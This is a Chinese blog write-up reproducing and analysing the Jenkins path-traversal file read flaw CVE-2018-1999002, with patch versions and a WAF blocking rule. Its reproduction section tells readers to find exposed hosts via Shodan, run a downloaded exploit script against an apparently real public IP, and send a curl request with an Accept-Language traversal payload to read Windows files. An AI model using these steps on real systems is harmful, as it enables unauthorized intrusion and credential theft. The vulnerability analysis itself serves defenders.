Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

Posted 锋刃科技

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析相关的知识,希望对你有一定的参考价值。

漏洞背景

 

Jenkins 7 月 18 日的安全通告修复了多个漏洞,其中 SECURITY-914 是由 O range (博客链接:http://blog.orange.tw/)挖出的 Jenkins 未授权任意文件读取漏洞。利用这个漏洞,攻击者可以读取 Windows 服务器上的任意文件, 对于 Linux,在特定条件下也可以进行文件读取。利用文件读取漏洞,攻击者可以获取到 Jenkins 的凭证信息,从而造成敏感信息泄露。另外,在很多时候,J

enkins 的部分凭证和其内用户的帐号密码相同,获取到凭证信息后也可以直接登录 Jenkins 进行命令执行操作等。



漏洞编号

 

CVE-2018-1999002

 

漏洞等级

 

高危

 

漏洞影响版本

 

Jenkins weekly up to and including 2.132 

Jenkins LTS up to and including 2.121.1



漏洞危害

 

针对 windows 下的 jenkins 危害是非常大的,只要有匿名的登录 jenkins 的权限就有很大可能获取到 windows 的 hash 值。


针对 linux 的利用难度是比较大的,默认安装 Jenkins 的时候匿名用户是没有可读权限的。并且此漏洞在 Linux 上被利用的可能性较小




漏洞复现

 

测试环境: win 平台

1. 这个漏洞利用是有先决条件的,通过在 shodan 批量找该漏洞(需要有 shodan

的会员),可以直接找 200 返回值的(可以找得飞快,目前的准确率极高),

因为 200 返回值的是存在未收取访问的,而 403 的则是没有开启匿名访问模式

(除非你有 admin 账号密码)

2. 通过shodan 搜索关键字: window7 or window8,可直接打开以下链接进行搜索https://www.shodan.io/search?query=Jenkins+os%3A%22Windows+7+ or+8%22&page=2

3.shodan 上找的时候直接搜索 Jenkins,然后筛选 window7 or window8, 在搜索结果找返回值 200 的 URL,别找 403 的!


4. 通过下载利用脚本:

 Wget

https://raw.githubusercontent.com/anntsmart/CVE/master/cve-2018-19 99002.py

root@kali:~# python cve-2018-1999002.py http://167.206.202.180:8080/

   直接读取 windows 的hash 值:


Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

curl 'http://192.168.1.51:8080/plugin/credentials/.ini' -H


'Accept-Language: ../../../../../../../../../../windows/win' -H 'Cookie: JSESSIONID.a3d85595=node01v1c3z2oeevt5mucfmjq8er3e1.node0; screenResolution=1920x1080; JSESSIONID.b2a47fc0=node02xwyedhvismk1ilmk23ziw4010.node0; JSESSIONID.4d57c7d3=node0kheawubrizfx1s6peq1c05uwu0.node0' -v



漏洞分析

 

Jenkins 在处理请求的时候是通过 Stapler 进行处理的,Stapler 是一个 Java

Web 框架。查看 web.xml 可知,Stapler 拦截了所有请求:

Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

单 步 跟 入 hudson.util.PluginServletFilter , 最 后 会 跟到 jenkinscoresrcmainjavahudsonPlugin.java 的 doDynamic 方法:

Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

可以发现,Jenkins 在 serve /plugin/SHORTNAME 这个 URL 的时候,调用的是 StaplerResponse 的 serveLocalizedFile 方法处理静态文件的,继续跟入这个方法:

Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

其 中

request.getLocale()  是 jetty-server-9.4.5.v20170502-sources.jar!orgecli

psejettyserverRequest.java 内的,其实现为:

Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

非常明显, Jetty 在获取 Locale 的时候直接从 HTTP Headers 里取出Accept-Language 头,用 – 分割后返回了一个 Locale 对象。也就是我传入Accept-Language:  ../../../aaaa-bbbbbb  时  ,  那  么  我  将  会  得  到 一个 Locale("../../../aaaa", "BBBBBB")对象。

最后到跟入 stapler-1.254-sources.jar!orgkohsukestaplerStapler.java:

Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

 我们可以发现,Stapler 首先将后缀名单独取出,接着将 Jenkins 目录和传入的 locale 的 language 以及后缀名拼接,然后打开这个路径。那么攻击者只需要构造出如下 HTTP 请求即可造成文件读取:

Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析


最后 URL 拼接的现场为:

Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析

在 Windows 下,不存在的目录可以通过 ../ 遍历过去的,而对于 Linux 则不行。那么这个漏洞在 Windows 下是可以任意文件读取的,而在 Linux 下则需要在 Jenkins plugins 目录下存在一个名字中存在 _ 的目录才可以。


官方解决方案

 

将您的 Jenkins weekly 升级至 2.133 版本。

将您的 Jenkins LTS 升级至 2.121.2 版本。


防护建议

 

如果您暂时不希望通过升级 Jenkins 版本解决该漏洞,建议您使用 Web 应用防火墙的精准访问控制功能对您的业务进行防护。通过精准访问控制功能,针对Accept-Language 这个 HTTP 请求头设置阻断规则过滤该请求头中包含../的请求,防止攻击者利用该漏洞通过目录穿越读取任意文件。




以上是关于Jenkins 任意文件读取漏洞(CVE-2018-1999002)复现与分析的主要内容,如果未能解决你的问题,请参考以下文章

漏洞预警 | Jenkins 两个高危漏洞(CVE-2018-1999001 和 CVE-2018-1999002)

Weblogic 任意文件上传漏洞(CVE-2018-2894)

CVE-2018-1000861复现

CVE-2018-1000861复现

Weblogic 任意文件上传漏洞(CVE-2018-2894)

PHPOK任意文件上传漏洞复现(CVE-2018-8944)